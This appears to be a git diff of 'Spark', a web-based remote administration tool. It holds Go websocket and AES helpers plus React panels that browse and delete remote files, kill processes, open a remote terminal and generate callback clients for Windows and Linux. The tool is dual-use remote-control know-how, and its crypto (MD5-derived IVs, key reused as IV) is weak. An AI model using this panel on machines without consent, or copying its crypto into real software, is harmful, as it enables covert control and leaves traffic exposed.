func (s *Session) WriteBinary(msg []byte) error {
if s.closed() {
return errors.New("session is closed")
}
s.writeMessage(&envelope{t: ws.BinaryMessage, msg: msg})
return nil
}
// Close closes session.
func (s *Session) Close() error {
if s.closed() {
return errors.New("session is already closed")
}
s.writeMessage(&envelope{t: ws.CloseMessage, msg: []byte{}})
return nil
}
// CloseWithMsg closes the session with the provided payload.
// Use the FormatCloseMessage function to format a proper close message payload.
func (s *Session) CloseWithMsg(msg []byte) error {
if s.closed() {
return errors.New("session is already closed")
}
s.writeMessage(&envelope{t: ws.CloseMessage, msg: msg})
return nil
}
// Set is used to store a new key/value pair exclusivelly for this session.
// It also lazy initializes s.Keys if it was not used previously.
func (s *Session) Set(key string, value interface{}) {
if s.Keys == nil {
s.Keys = make(map[string]interface{})
}
s.Keys[key] = value
}
// Get returns the value for the given key, ie: (value, true).
// If the value does not exists it returns (nil, false)
func (s *Session) Get(key string) (value interface{}, exists bool) {
if s.Keys != nil {
value, exists = s.Keys[key]
}
return
}
// MustGet returns the value for the given key if it exists, otherwise it panics.
func (s *Session) MustGet(key string) interface{} {
if value, exists := s.Get(key); exists {
return value
}
panic("Key \"" + key + "\" does not exist")
}
// IsClosed returns the status of the connection.
func (s *Session) IsClosed() bool {
return s.closed()
}
// GetWSConn returns the original websocket connection.
func (s *Session) GetWSConn() *ws.Conn {
return s.conn
}

12
utils/melody/utilities.go Normal file
View File

@@ -0,0 +1,12 @@
package melody
import (
"crypto/rand"
"fmt"
)
func generateUUID() string {
buf := make([]byte, 16)
rand.Reader.Read(buf)
return fmt.Sprintf(`%x-%x-%x-%x-%x`, buf[0:4], buf[4:6], buf[6:8], buf[8:10], buf[10:16])
}

80
utils/utils.go Normal file
View File

@@ -0,0 +1,80 @@
package utils
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/md5"
"crypto/rand"
"encoding/hex"
"errors"
jsoniter "github.com/json-iterator/go"
)
var (
ErrUnsupported = errors.New(`unsupported operation`)
ErrEntityInvalid = errors.New(`entity is not valid`)
ErrFailedVerification = errors.New(`failed to verify entity`)
JSON = jsoniter.ConfigCompatibleWithStandardLibrary
)
func GenRandByte(n int) []byte {
secBuffer := make([]byte, n)
rand.Reader.Read(secBuffer)
return secBuffer
}
func GetStrUUID() string {
return hex.EncodeToString(GenRandByte(16))
}
func GetUUID() []byte {
return GenRandByte(16)
}
func GetMD5(data []byte) ([]byte, string) {
hash := md5.New()
hash.Write(data)
result := hash.Sum(nil)
return result, hex.EncodeToString(result)
}
func Encrypt(data []byte, key []byte) ([]byte, error) {
//fmt.Println(`Send: `, string(data))
nonce := make([]byte, 64)
rand.Reader.Read(nonce)
data = append(data, nonce...)
hash, _ := GetMD5(data)
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
stream := cipher.NewCTR(block, hash)
encBuffer := make([]byte, len(data))
stream.XORKeyStream(encBuffer, data)
return append(hash, encBuffer...), nil
}
func Decrypt(data []byte, key []byte) ([]byte, error) {
// MD5[16 bytes] + Data[n bytes] + Nonce[64 bytes]
dataLen := len(data)
if dataLen <= 16+64 {
return nil, ErrEntityInvalid
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
stream := cipher.NewCTR(block, data[:16])
decBuffer := make([]byte, dataLen-16)
stream.XORKeyStream(decBuffer, data[16:])
hash, _ := GetMD5(decBuffer)
if !bytes.Equal(hash, data[:16]) {
return nil, ErrFailedVerification
}
//fmt.Println(`Recv: `, string(decBuffer[:dataLen-16-64]))
return decBuffer[:dataLen-16-64], nil
}

11
web/.babelrc Normal file
View File

@@ -0,0 +1,11 @@
{
presets: [
[
'@babel/preset-env',
{
modules: false
}
],
'@babel/preset-react'
]
}

1
web/build.web.bat Normal file
View File

@@ -0,0 +1 @@
npm run build-prod

99
web/dist/3bb7aeaa43694e7a1aa7.svg vendored Normal file
View File

@@ -0,0 +1,99 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="1361px" height="609px" viewBox="0 0 1361 609" version="1.1" xmlns="http://www.w3.org/2000/svg">
<g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
<g transform="translate(-79.000000, -82.000000)">
<g transform="translate(77.000000, 73.000000)">
<g opacity="0.8"
transform="translate(74.901416, 569.699158) rotate(-7.000000) translate(-74.901416, -569.699158) translate(4.901416, 525.199158)">
<ellipse fill="#CFDAE6" opacity="0.25" cx="63.5748792" cy="32.468367" rx="21.7830479"
ry="21.766008"></ellipse>
<ellipse fill="#CFDAE6" opacity="0.599999964" cx="5.98746479" cy="13.8668601" rx="5.2173913"
ry="5.21330997"></ellipse>
<path d="M38.1354514,88.3520215 C43.8984227,88.3520215 48.570234,83.6838647 48.570234,77.9254015 C48.570234,72.1669383 43.8984227,67.4987816 38.1354514,67.4987816 C32.3724801,67.4987816 27.7006688,72.1669383 27.7006688,77.9254015 C27.7006688,83.6838647 32.3724801,88.3520215 38.1354514,88.3520215 Z"
fill="#CFDAE6" opacity="0.45"></path>
<path d="M64.2775582,33.1704963 L119.185836,16.5654915" stroke="#CFDAE6" stroke-width="1.73913043"
stroke-linecap="round" stroke-linejoin="round"></path>
<path d="M42.1431708,26.5002681 L7.71190162,14.5640702" stroke="#E0B4B7" stroke-width="0.702678964"
opacity="0.7" stroke-linecap="round" stroke-linejoin="round"
stroke-dasharray="1.405357899873153,2.108036953469981"></path>
<path d="M63.9262187,33.521561 L43.6721326,69.3250951" stroke="#BACAD9" stroke-width="0.702678964"
stroke-linecap="round" stroke-linejoin="round"
stroke-dasharray="1.405357899873153,2.108036953469981"></path>
<g transform="translate(126.850922, 13.543654) rotate(30.000000) translate(-126.850922, -13.543654) translate(117.285705, 4.381889)"
fill="#CFDAE6">
<ellipse opacity="0.45" cx="9.13482653" cy="9.12768076" rx="9.13482653"
ry="9.12768076"></ellipse>
<path d="M18.2696531,18.2553615 C18.2696531,13.2142826 14.1798519,9.12768076 9.13482653,9.12768076 C4.08980114,9.12768076 0,13.2142826 0,18.2553615 L18.2696531,18.2553615 Z"
transform="translate(9.134827, 13.691521) scale(-1, -1) translate(-9.134827, -13.691521) "></path>
</g>
</g>
<g transform="translate(216.294700, 123.725600) rotate(-5.000000) translate(-216.294700, -123.725600) translate(106.294700, 35.225600)">
<ellipse fill="#CFDAE6" opacity="0.25" cx="29.1176471" cy="29.1402439" rx="29.1176471"
ry="29.1402439"></ellipse>
<ellipse fill="#CFDAE6" opacity="0.3" cx="29.1176471" cy="29.1402439" rx="21.5686275"
ry="21.5853659"></ellipse>
<ellipse stroke="#CFDAE6" opacity="0.4" cx="179.019608" cy="138.146341" rx="23.7254902"
ry="23.7439024"></ellipse>
<ellipse fill="#BACAD9" opacity="0.5" cx="29.1176471" cy="29.1402439" rx="10.7843137"
ry="10.7926829"></ellipse>
<path d="M29.1176471,39.9329268 L29.1176471,18.347561 C23.1616351,18.347561 18.3333333,23.1796097 18.3333333,29.1402439 C18.3333333,35.1008781 23.1616351,39.9329268 29.1176471,39.9329268 Z"
fill="#BACAD9"></path>
<g opacity="0.45" transform="translate(172.000000, 131.000000)" fill="#E6A1A6">
<ellipse cx="7.01960784" cy="7.14634146" rx="6.47058824" ry="6.47560976"></ellipse>
<path d="M0.549019608,13.6219512 C4.12262681,13.6219512 7.01960784,10.722722 7.01960784,7.14634146 C7.01960784,3.56996095 4.12262681,0.670731707 0.549019608,0.670731707 L0.549019608,13.6219512 Z"
transform="translate(3.784314, 7.146341) scale(-1, 1) translate(-3.784314, -7.146341) "></path>
</g>
<ellipse fill="#CFDAE6" cx="218.382353" cy="138.685976" rx="1.61764706" ry="1.61890244"></ellipse>
<ellipse fill="#E0B4B7" opacity="0.35" cx="179.558824" cy="175.381098" rx="1.61764706"
ry="1.61890244"></ellipse>
<ellipse fill="#E0B4B7" opacity="0.35" cx="180.098039" cy="102.530488" rx="2.15686275"
ry="2.15853659"></ellipse>
<path d="M28.9985381,29.9671598 L171.151018,132.876024" stroke="#CFDAE6" opacity="0.8"></path>
</g>
<g opacity="0.799999952"
transform="translate(1054.100635, 36.659317) rotate(-11.000000) translate(-1054.100635, -36.659317) translate(1026.600635, 4.659317)">
<ellipse stroke="#CFDAE6" stroke-width="0.941176471" cx="43.8135593" cy="32" rx="11.1864407"
ry="11.2941176"></ellipse>
<g transform="translate(34.596774, 23.111111)" fill="#BACAD9">
<ellipse opacity="0.45" cx="9.18534718" cy="8.88888889" rx="8.47457627"
ry="8.55614973"></ellipse>
<path d="M9.18534718,17.4450386 C13.8657264,17.4450386 17.6599235,13.6143199 17.6599235,8.88888889 C17.6599235,4.16345787 13.8657264,0.332739156 9.18534718,0.332739156 L9.18534718,17.4450386 Z"></path>
</g>
<path d="M34.6597385,24.809694 L5.71666084,4.76878945" stroke="#CFDAE6"
stroke-width="0.941176471"></path>
<ellipse stroke="#CFDAE6" stroke-width="0.941176471" cx="3.26271186" cy="3.29411765" rx="3.26271186"
ry="3.29411765"></ellipse>
<ellipse fill="#F7E1AD" cx="2.79661017" cy="61.1764706" rx="2.79661017" ry="2.82352941"></ellipse>
<path d="M34.6312443,39.2922712 L5.06366663,59.785082" stroke="#CFDAE6"
stroke-width="0.941176471"></path>
</g>
<g opacity="0.33"
transform="translate(1282.537219, 446.502867) rotate(-10.000000) translate(-1282.537219, -446.502867) translate(1142.537219, 327.502867)">
<g transform="translate(141.333539, 104.502742) rotate(275.000000) translate(-141.333539, -104.502742) translate(129.333539, 92.502742)"
fill="#BACAD9">
<circle opacity="0.45" cx="11.6666667" cy="11.6666667" r="11.6666667"></circle>
<path d="M23.3333333,23.3333333 C23.3333333,16.8900113 18.1099887,11.6666667 11.6666667,11.6666667 C5.22334459,11.6666667 0,16.8900113 0,23.3333333 L23.3333333,23.3333333 Z"
transform="translate(11.666667, 17.500000) scale(-1, -1) translate(-11.666667, -17.500000) "></path>
</g>
<circle fill="#CFDAE6" cx="201.833333" cy="87.5" r="5.83333333"></circle>
<path d="M143.5,88.8126685 L155.070501,17.6038544" stroke="#BACAD9"
stroke-width="1.16666667"></path>
<path d="M17.5,37.3333333 L127.466252,97.6449735" stroke="#BACAD9" stroke-width="1.16666667"></path>
<polyline stroke="#CFDAE6" stroke-width="1.16666667"
points="143.902597 120.302281 174.935455 231.571342 38.5 147.510847 126.366941 110.833333"></polyline>
<path d="M159.833333,99.7453842 L195.416667,89.25" stroke="#E0B4B7" stroke-width="1.16666667"
opacity="0.6"></path>
<path d="M205.333333,82.1372105 L238.719406,36.1666667" stroke="#BACAD9"
stroke-width="1.16666667"></path>
<path d="M266.723424,132.231988 L207.083333,90.4166667" stroke="#CFDAE6"
stroke-width="1.16666667"></path>
<circle fill="#C1D1E0" cx="156.916667" cy="8.75" r="8.75"></circle>
<circle fill="#C1D1E0" cx="39.0833333" cy="148.75" r="5.25"></circle>
<circle fill-opacity="0.6" fill="#D1DEED" cx="8.75" cy="33.25" r="8.75"></circle>
<circle fill-opacity="0.6" fill="#D1DEED" cx="243.833333" cy="30.3333333" r="5.83333333"></circle>
<circle fill="#E0B4B7" cx="175.583333" cy="232.75" r="5.25"></circle>
</g>
</g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 8.7 KiB

1
web/dist/index.html vendored Normal file
View File

@@ -0,0 +1 @@
<!doctype html><html lang="zh-cn"><head><meta charset="utf-8"/><meta content="width=device-width,initial-scale=1" name="viewport"/><meta content="#000000" name="theme-color"/><title>Spark</title><script defer="defer" src="./runtime.js"></script><script defer="defer" src="./vendors.js"></script><script defer="defer" src="./main.js"></script></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div></body></html>

1
web/dist/main.js vendored Normal file

File diff suppressed because one or more lines are too long

1
web/dist/runtime.js vendored Normal file

File diff suppressed because one or more lines are too long

1
web/dist/vendors.js vendored Normal file

File diff suppressed because one or more lines are too long

6825
web/package-lock.json generated Normal file

File diff suppressed because it is too large Load Diff

52
web/package.json Normal file
View File

@@ -0,0 +1,52 @@
{
"name": "spark",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"start": "set NODE_ENV=development | npx webpack serve --mode development",
"build-dev": "set NODE_ENV=development | npx webpack --mode development",
"build-prod": "set NODE_ENV=production | npx webpack --mode production"
},
"dependencies": {
"@ant-design/icons": "^4.6.2",
"@ant-design/pro-form": "^1.32.1",
"@ant-design/pro-layout": "^6.23.0",
"@ant-design/pro-table": "^2.45.0",
"antd": "^4.16.8",
"axios": "latest",
"crypto-js": "^4.1.1",
"dayjs": "^1.10.6",
"lodash": "^4.17.21",
"qs": "^6.10.3",
"react": "^17.0.2",
"react-dom": "^17.0.2",
"react-motion": "^0.5.2",
"react-router": "^6.2.2",
"react-router-dom": "^6.2.2",
"xterm": "^4.18.0",
"xterm-addon-fit": "^0.5.0",
"xterm-addon-web-links": "^0.5.1"
},
"devDependencies": {
"@babel/core": "latest",
"@babel/preset-env": "latest",
"@babel/preset-react": "latest",
"antd-dayjs-webpack-plugin": "^1.0.6",
"babel-loader": "latest",
"clean-webpack-plugin": "^4.0.0",
"copy-webpack-plugin": "^10.2.4",
"css-loader": "latest",
"html-webpack-plugin": "^5.5.0",
"less": "^4.1.1",
"less-loader": "^10.0.1",
"react-text-loop": "^2.3.0",
"style-loader": "latest",
"uglifyjs-webpack-plugin": "^2.2.0",
"webpack": "^5.18.0",
"webpack-cli": "^4.4.0",
"webpack-dev-server": "^4.7.4"
},
"author": "XZB",
"license": "ISC"
}

13
web/public/index.html Normal file
View File

@@ -0,0 +1,13 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8"/>
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<meta content="#000000" name="theme-color"/>
<title>Spark</title>
</head>
<body>
<noscript>You need to enable JavaScript to run this app.</noscript>
<div id="root"></div>
</body>
</html>

View File

@@ -0,0 +1,4 @@
.file-row {
user-select: none;
cursor: pointer;
}

View File

@@ -0,0 +1,208 @@
import React, {useEffect, useRef, useState} from 'react';
import {message, Modal, Popconfirm} from "antd";
import ProTable from '@ant-design/pro-table';
import {formatSize, post, request, waitTime} from "../utils/utils";
import './browser.css';
import dayjs from "dayjs";
function FileBrowser(props) {
const [path, setPath] = useState(`/`);
const [loading, setLoading] = useState(false);
const columns = [
{
key: 'Name',
title: 'Name',
dataIndex: 'name',
ellipsis: true,
width: 180
},
{
key: 'Size',
title: 'Size',
dataIndex: 'size',
ellipsis: true,
width: 60,
renderText: (size, file) => file.type === 0 ? formatSize(size) : '-'
},
{
key: 'Time',
title: 'Time Modified',
dataIndex: 'time',
ellipsis: true,
width: 100,
renderText: (ts, file) => file.type === 0 ? dayjs.unix(ts).format('YYYY/MM/DD HH:mm') : '-'
},
{
key: 'Option',
width: 120,
title: '操作',
dataIndex: 'name',
valueType: 'option',
ellipsis: true,
render: (_, file) => renderOperation(file)
},
];
const options = {
show: true,
density: false,
setting: false,
};
const tableRef = useRef();
useEffect(() => {
setPath(`/`);
if (props.visible) {
setLoading(false);
}
}, [props.device, props.visible]);
function renderOperation(file) {
let remove = (
<Popconfirm
key='remove'
title={'确定要删除该' + (file.type === 0 ? '文件' : '目录') + '吗?'}
onConfirm={removeFile.bind(null, file.name)}
>
<a>删除</a>
</Popconfirm>
);
switch (file.type) {
case 0:
return [
<a
key='download'
onClick={downloadFile.bind(null, file.name)}
>下载</a>,
remove,
];
case 1:
return [remove];
case 2:
return [];
}
return [];
}
function onRowClick(file) {
let separator = props.isWindows ? '\\' : '/';
if (file.name === '..') {
listFiles(getLastPath());
return;
}
if (file.type !== 0) {
if (props.isWindows) {
if (path === '/' || path === '\\' || path.length === 0) {
listFiles(file.name + separator);
return
}
}
listFiles(path + file.name + separator);
}
}
function listFiles(newPath) {
setPath(newPath);
tableRef.current.reload();
}
function getLastPath() {
let separator = props.isWindows ? '\\' : '/';
// remove the last separator
// or there'll be an empty element after split
let tempPath = path.substring(0, path.length - 1);
let pathArr = tempPath.split(separator);
// remove current folder
pathArr.pop();
// back to root folder
if (pathArr.length === 0) {
return `/`;
}
return pathArr.join(separator) + separator;
}
function downloadFile(file) {
post(location.origin + location.pathname + 'api/device/file/get', {
file: path + file,
device: props.device
});
}
function removeFile(file) {
request(`/api/device/file/remove`, {path: path+file, device: props.device}).then(res => {
let data = res.data;
if (data.code === 0) {
message.success('文件或目录已被删除');
tableRef.current.reload();
}
});
}
async function getData(form) {
await waitTime(300);
let res = await request('/api/device/file/list', {path: path, device: props.device});
setLoading(false);
let data = res.data;
if (data.code === 0) {
let addParentShortcut = false;
data.data.files = data.data.files.sort((first, second) => (second.type - first.type));
if (path.length > 0 && path !== '/' && path !== '\\') {
addParentShortcut = true;
data.data.files.unshift({
name: '..',
size: '0',
type: 3,
modTime: 0
});
}
return ({
data: data.data.files,
success: true,
total: data.data.files.length - (addParentShortcut?1:0)
});
}
setPath(getLastPath());
return ({data: [], success: false, total: 0});
}
return (
<Modal
destroyOnClose={true}
title='File Explorer'
footer={null}
height={500}
width={800}
bodyStyle={{
padding: 0
}}
{...props}
>
<ProTable
rowKey='name'
onRow={file => ({
onDoubleClick: onRowClick.bind(null, file),
})}
tableStyle={{
minHeight: '350px',
maxHeight: '350px'
}}
toolbar={{
actions: []
}}
scroll={{scrollToFirstRowOnChange: true, y: 300}}
search={false}
size='small'
loading={loading}
rowClassName='file-row'
onLoadingChange={setLoading}
options={options}
columns={columns}
request={getData}
pagination={false}
actionRef={tableRef}
>
</ProTable>
</Modal>
)
}
export default FileBrowser;

View File

@@ -0,0 +1,92 @@
import React from 'react';
import {ModalForm, ProFormCascader, ProFormDigit, ProFormGroup, ProFormText} from '@ant-design/pro-form';
import {post, request} from "../utils/utils";
import prebuilt from './prebuilt.json';
function Generate(props) {
const initValues = getInitValues();
async function onFinish(form) {
if (form?.ArchOS?.length === 2) {
form.os = form.ArchOS[0];
form.arch = form.ArchOS[1];
delete form.ArchOS;
}
form.secure = location.protocol === 'https:' ? 'true' : 'false';
let basePath = location.origin + location.pathname + 'api/client/';
request(basePath + 'check', form)
.then((res) => {
if (res.data.code === 0) {
post(basePath += 'generate', form);
}
})
.catch()
}
function getInitValues() {
let initValues = {
host: location.hostname,
port: location.port,
path: location.pathname,
ArchOS: ['windows', 'amd64']
};
if (String(location.port).length === 0) {
initValues.port = location.protocol === 'https:' ? 443 : 80;
}
return initValues;
}
return (
<ModalForm
modalProps={{destroyOnClose: true}}
initialValues={initValues}
onFinish={onFinish}
submitter={{
render: (_, elems) => elems.pop()
}}
{...props}
>
<ProFormGroup>
<ProFormText
width="md"
name="host"
label="Host"
rules={[{
required: true
}]}
/>
<ProFormDigit
width="md"
name="port"
label="Port"
min={1}
max={65535}
rules={[{
required: true
}]}
/>
</ProFormGroup>
<ProFormGroup>
<ProFormText
width="md"
name="path"
label="Path"
rules={[{
required: true
}]}
/>
<ProFormCascader
width="md"
name="ArchOS"
label="OS & Arch"
request={() => prebuilt}
rules={[{
required: true
}]}
/>
</ProFormGroup>
</ModalForm>
)
}
export default Generate;

View File

@@ -0,0 +1,46 @@
[
{
"value": "linux",
"label": "Linux",
"children": [
{
"value": "arm",
"label": "arm"
},
{
"value": "arm64",
"label": "arm64"
},
{
"value": "i386",
"label": "i386"
},
{
"value": "amd64",
"label": "amd64"
}
]
},
{
"value": "windows",
"label": "Windows",
"children": [
{
"value": "arm",
"label": "arm"
},
{
"value": "arm64",
"label": "arm64"
},
{
"value": "i386",
"label": "i386"
},
{
"value": "amd64",
"label": "amd64"
}
]
}
]

View File

@@ -0,0 +1,121 @@
import React, {useEffect, useRef, useState} from 'react';
import {message, Modal, Popconfirm} from "antd";
import ProTable from '@ant-design/pro-table';
import {request, waitTime} from "../utils/utils";
function ProcessMgr(props) {
const [loading, setLoading] = useState(false);
const columns = [
{
key: 'Name',
title: 'Name',
dataIndex: 'name',
ellipsis: true,
width: 120
},
{
key: 'Pid',
title: 'Pid',
dataIndex: 'pid',
ellipsis: true,
width: 40
},
{
key: 'Option',
width: 40,
title: '操作',
dataIndex: 'name',
valueType: 'option',
ellipsis: true,
render: (_, file) => renderOperation(file)
},
];
const options = {
show: true,
density: false,
setting: false,
};
const tableRef = useRef();
useEffect(() => {
if (props.visible) {
setLoading(false);
}
}, [props.device, props.visible]);
function renderOperation(proc) {
return [
<Popconfirm
key='kill'
title={'确定要结束该进程吗?'}
onConfirm={killProcess.bind(null, proc.pid)}
>
<a>结束</a>
</Popconfirm>
];
}
function killProcess(pid) {
request(`/api/device/process/kill`, {pid: pid, device: props.device}).then(res => {
let data = res.data;
if (data.code === 0) {
message.success('进程已结束');
tableRef.current.reload();
}
});
}
async function getData(form) {
await waitTime(300);
let res = await request('/api/device/process/list', {device: props.device});
setLoading(false);
let data = res.data;
if (data.code === 0) {
data.data.processes = data.data.processes.sort((first, second) => (second.pid - first.pid));
return ({
data: data.data.processes,
success: true,
total: data.data.processes.length
});
}
return ({data: [], success: false, total: 0});
}
return (
<Modal
destroyOnClose={true}
title='Process Manager'
footer={null}
height={500}
width={400}
bodyStyle={{
padding: 0
}}
{...props}
>
<ProTable
rowKey='pid'
tableStyle={{
minHeight: '350px',
maxHeight: '350px'
}}
toolbar={{
actions: []
}}
scroll={{scrollToFirstRowOnChange: true, y: 300}}
search={false}
size='small'
loading={loading}
onLoadingChange={setLoading}
options={options}
columns={columns}
request={getData}
pagination={false}
actionRef={tableRef}
>
</ProTable>
</Modal>
)
}
export default ProcessMgr;

View File

@@ -0,0 +1,301 @@
import React, {createRef} from "react";
import {Modal} from "antd";
import {Terminal} from "xterm";
import {WebLinksAddon} from "xterm-addon-web-links";
import {FitAddon} from "xterm-addon-fit";
import debounce from 'lodash/debounce';
import CryptoJS from 'crypto-js';
import "xterm/css/xterm.css";
function hex2buf(hex) {
if (typeof hex !== 'string') {
return new Uint8Array([]);
}
let list = hex.match(/.{1,2}/g);
if (list === null) {
return new Uint8Array([]);
}
return new Uint8Array(list.map(byte => parseInt(byte, 16)));
}
function ab2str(buffer) {
const array = new Uint8Array(buffer);
let out, i, len, c;
let char2, char3;
out = "";
len = array.length;
i = 0;
while (i < len) {
c = array[i++];
switch (c >> 4) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7:
out += String.fromCharCode(c);
break;
case 12:
case 13:
char2 = array[i++];
out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F));
break;
case 14:
char2 = array[i++];
char3 = array[i++];
out += String.fromCharCode(((c & 0x0F) << 12) |
((char2 & 0x3F) << 6) |
((char3 & 0x3F) << 0));
break;
}
}
return out;
}
function getBaseURL() {
if (location.protocol === 'https:') {
return `wss://${location.host}${location.pathname}api/device/terminal`;
}
return `ws://${location.host}${location.pathname}api/device/terminal`;
}
function genRandHex(length) {
return [...Array(length)].map(() => Math.floor(Math.random() * 16).toString(16)).join('');
}
function wordArray2Uint8Array(wordArray) {
const l = wordArray.sigBytes;
const words = wordArray.words;
const result = new Uint8Array(l);
var i = 0 /*dst*/, j = 0 /*src*/;
while (true) {
// here i is a multiple of 4
if (i === l)
break;
var w = words[j++];
result[i++] = (w & 0xff000000) >>> 24;
if (i === l)
break;
result[i++] = (w & 0x00ff0000) >>> 16;
if (i === l)
break;
result[i++] = (w & 0x0000ff00) >>> 8;
if (i === l)
break;
result[i++] = (w & 0x000000ff);
}
return result;
}
class TerminalModal extends React.Component {
constructor(props) {
super(props);
this.ticker = 0;
this.ws = null;
this.conn = false;
this.opened = false;
this.termRef = createRef();
this.secret = CryptoJS.enc.Hex.parse(genRandHex(32));
this.termEv = null;
this.term = new Terminal({
convertEol: true,
allowTransparency: false,
cursorBlink: true,
cursorStyle: "block",
fontFamily: "Hack, monospace",
fontSize: 16,
logLevel: process.env.NODE_ENV === "development" ? "info" : "off",
});
this.doResize.call(this);
}
initialize(ev) {
let cmd = '';
let buffer = '';
let termEv = null;
termEv = this.term.onData((e) => {
if (!this.conn) {
if (e === '\r' || e === ' ') {
this.term.write('\n正在重新连接...\n');
this.initialize(termEv);
}
return;
}
switch (e) {
case '\u0003':
this.term.write('^C');
this.sendInput('\u0003');
break;
case '\r':
this.term.write('\n');
this.sendInput(cmd + '\n');
buffer = cmd + '\n';
cmd = '';
break;
case '\u007F':
if (cmd.length > 0) {
cmd = cmd.substring(0, cmd.length - 1);
this.term.write('\b \b');
}
break;
default:
if ((e >= String.fromCharCode(0x20) && e <= String.fromCharCode(0x7B)) || e >= '\u00a0') {
cmd += e;
this.term.write(e);
return;
}
}
});
this.ws = new WebSocket(`${getBaseURL()}?device=${this.props.device}&secret=${this.secret}`);
this.ws.binaryType = 'arraybuffer';
this.ws.onopen = () => {
this.conn = true;
if (ev != null) {
ev.dispose();
}
}
this.ws.onmessage = (e) => {
let data = this.decrypt(e.data);
try {
data = JSON.parse(data);
} catch (_) {
}
if (this.conn) {
data = ab2str(hex2buf(data?.data?.output));
if (data === buffer) {
buffer = '';
return;
}
this.term.write(data);
}
}
this.ws.onclose = (e) => {
if (this.conn) {
this.conn = false;
this.term.write('\n连接已断开\n');
}
}
this.ws.onerror = (e) => {
if (this.conn) {
this.conn = false;
this.term.write('\n连接已断开\n');
}
}
return termEv;
}
encrypt(data) {
let json = JSON.stringify(data);
json = CryptoJS.enc.Utf8.parse(json);
let encrypted = CryptoJS.AES.encrypt(json, this.secret, {
mode: CryptoJS.mode.CTR,
iv: this.secret,
padding: CryptoJS.pad.NoPadding
});
return wordArray2Uint8Array(encrypted.ciphertext);
}
decrypt(data) {
data = CryptoJS.lib.WordArray.create(data);
let decrypted = CryptoJS.AES.encrypt(data, this.secret, {
mode: CryptoJS.mode.CTR,
iv: this.secret,
padding: CryptoJS.pad.NoPadding
});
return ab2str(wordArray2Uint8Array(decrypted.ciphertext).buffer);
}
sendInput(input) {
if (this.conn) {
this.sendData({
act: 'inputTerminal',
data: {
input: CryptoJS.enc.Hex.stringify(CryptoJS.enc.Utf8.parse(input))
}
});
}
}
sendData(data) {
if (this.conn) {
this.ws.send(this.encrypt(data));
}
}
componentDidUpdate(prevProps) {
if (prevProps.visible) {
clearInterval(this.ticker);
if (this.conn) {
this.ws.close();
}
this.termEv.dispose();
this.termEv = null;
} else {
if (this.props.visible) {
if (!this.opened) {
this.opened = true;
this.fit = new FitAddon();
this.term.loadAddon(this.fit);
this.term.loadAddon(new WebLinksAddon());
this.term.open(this.termRef.current);
this.fit.fit();
this.term.focus();
window.onresize = this.onResize.bind(this);
}
this.term.clear();
this.termEv = this.initialize(null);
setInterval(function () {
if (this.conn) {
this.sendData({act: 'heartbeat'});
}
}, 1500);
}
}
}
componentWillUnmount() {
window.onresize = null;
if (this.conn) {
this.ws.close();
}
this.term.dispose();
}
doResize() {
let height = document.body.clientHeight;
let rows = height / 42;
this?.fit?.fit?.();
this?.term?.resize?.(this?.term?.cols, parseInt(rows));
this?.term?.scrollToBottom?.();
}
onResize() {
if (typeof this.doResize === 'function') {
debounce(this.doResize.bind(this), 70);
}
}
render() {
return (
<Modal
title='Terminal'
visible={this.props.visible}
onCancel={this.props.onCancel}
destroyOnClose={false}
footer={null}
height={150}
width={900}
>
<div
ref={this.termRef}
/>
</Modal>
)
}
}
export default TerminalModal;

View File

@@ -0,0 +1,7 @@
.ant-page-header {
display: none;
}
.ant-pro-top-nav-header-logo {
user-select: none;
}

View File

@@ -0,0 +1,35 @@
import React from 'react';
import ProLayout, {PageContainer} from '@ant-design/pro-layout';
import './wrapper.css';
function wrapper(props) {
return (
<ProLayout
loading={false}
title='Spark'
layout='top'
navTheme='light'
collapsed={true}
fixedHeader={true}
contentWidth='fluid'
collapsedButtonRender={Title}
>
<PageContainer>
{props.children}
</PageContainer>
</ProLayout>
);
};
function Title() {
return (
<div
style={{
userSelect: 'none',
fontWeight: 500
}}
>
Spark
</div>
)
}
export default wrapper;

12
web/src/global.css Normal file
View File

@@ -0,0 +1,12 @@
#root {
height: 100%;
background-image: url('static/bg.svg');
background-repeat: no-repeat;
background-position: center 110px;
background-color: #f0f2f5;
background-size: 100%;
}
.ant-table-cell {
border: none !important;
}

54
web/src/index.js Normal file
View File

@@ -0,0 +1,54 @@
import React from 'react';
import ReactDOM from 'react-dom';
import {HashRouter as Router, Route, Routes} from 'react-router-dom';
import Wrapper from './components/wrapper';
import Err from './pages/404';
import axios from 'axios';
import {message} from 'antd';
import dayjs from 'dayjs';
import './global.css';
import 'antd/dist/antd.css';
import 'dayjs/locale/zh-cn';
import Overview from "./pages/overview";
dayjs.locale('zh-cn');
console.log("%c By XZB", 'font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:64px;color:#00bbee;-webkit-text-fill-color:#00bbee;-webkit-text-stroke:1px#00bbee;');
axios.defaults.baseURL = '.';
axios.defaults.timeout = 5000;
axios.interceptors.response.use(async (res) => {
let data = res.data;
if (data.hasOwnProperty('code')) {
if (data.code !== 0){
message.warn(data.msg);
}
}
return Promise.resolve(res);
}, (err) => {
if (err.code === 'ECONNABORTED') {
message.warn('请求超时');
return Promise.resolve(err);
}
let res = err.response;
let data = res.data;
if (data.hasOwnProperty('code')) {
if (data.code !== 0){
message.warn(data.msg);
}
}
return Promise.resolve(res);
});
ReactDOM.render(
<Router>
<Routes>
<Route path="/" element={<Wrapper><Overview/></Wrapper>}/>
<Route
path="*"
element={<Err/>}
/>
</Routes>
</Router>,
document.getElementById('root')
);

15
web/src/pages/404.js Normal file
View File

@@ -0,0 +1,15 @@
import React from 'react';
export default function () {
// setTimeout(()=>{
// location.href = '#/';
// }, 3000);
return (
<h1 style={{textAlign: 'center', userSelect: 'none'}}>
Page Not Found.
<br/>
未找到该页面
</h1>
);
}

266
web/src/pages/overview.js Normal file
View File

@@ -0,0 +1,266 @@
import React, {useRef, useState} from 'react';
